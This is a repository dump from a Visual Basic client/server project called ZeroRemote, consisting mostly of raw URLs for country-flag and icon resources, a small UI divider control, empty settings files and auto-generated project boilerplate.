https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ke.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kh.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ki.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ki.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/km.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/km.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kp.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ky.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ky.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/kz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/la.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/la.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lb.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/li.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/li.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ls.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/lv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lv.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ly.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ma.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ma.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/md.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/md.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/me.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/me.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mh.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ml.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ml.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mo.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mp.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mq.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ms.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mv.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mx.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/my.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/my.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/mz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/na.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/na.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/nc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ne.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ne.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/nf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ng.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ng.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ni.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ni.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/nl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nl.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/no.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/no.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/np.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/np.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/nr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/nu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/nz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/om.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/om.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pa.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pe.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ph.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pl.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ps.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/pw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/py.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/py.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/qa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/qa.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/re.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/re.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ro.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/rs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/rs.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ru.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ru.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/rw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/rw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sa.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sb.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sd.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/se.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/se.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sh.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/si.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/si.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sj.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sl.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/so.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/so.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/st.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/st.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sv.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sy.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/sz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/td.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/td.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/th.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/th.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tj.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tk.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tl.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/to.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/to.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tr.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tv.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/tz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ua.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ua.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ug.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/um.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/um.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/up.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/us.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/us.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/uy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/uy.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/uz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/uz.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/va.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/va.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/vc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vc.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ve.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/vg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vg.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/vi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vi.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/vn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vn.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/vu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vu.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/wf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/wf.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ws.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ws.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/ye.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ye.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/yt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/yt.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/za.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/za.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/zm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/zm.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/zw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/zw.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/down.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/globe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/globe.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/wait.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/wait.gif -------------------------------------------------------------------------------- /Client/Client/Client/Resources/wales.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/wales.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/default.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/default.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/england.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/england.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/notify.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/notify.wav -------------------------------------------------------------------------------- /Client/Client/Client/Resources/scotland.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/scotland.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/servers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/servers.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/catalonia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/catalonia.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/exclamation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/exclamation.png -------------------------------------------------------------------------------- /Client/Client/Client/Resources/information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/information.png -------------------------------------------------------------------------------- /Client/Client/Client/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Client/Client/Client/SeperatorControl.vb: -------------------------------------------------------------------------------- 1 | Public Class Divider 2 | Inherits Control 3 | 4 | Sub New() 5 | SetStyle(ControlStyles.ResizeRedraw, True) 6 | End Sub 7 | 8 | Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) 9 | MyBase.OnPaint(e) 10 | 11 | ControlPaint.DrawBorder3D(e.Graphics, New Rectangle(0, 0, Me.Width, Me.Height), Border3DStyle.Etched, Border3DSide.Top) 12 | End Sub 13 | 14 | End Class -------------------------------------------------------------------------------- /Server/Server/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Server/Server/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | -------------------------------------------------------------------------------- /Server/Server/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 | 2 | 3 | false 4 | 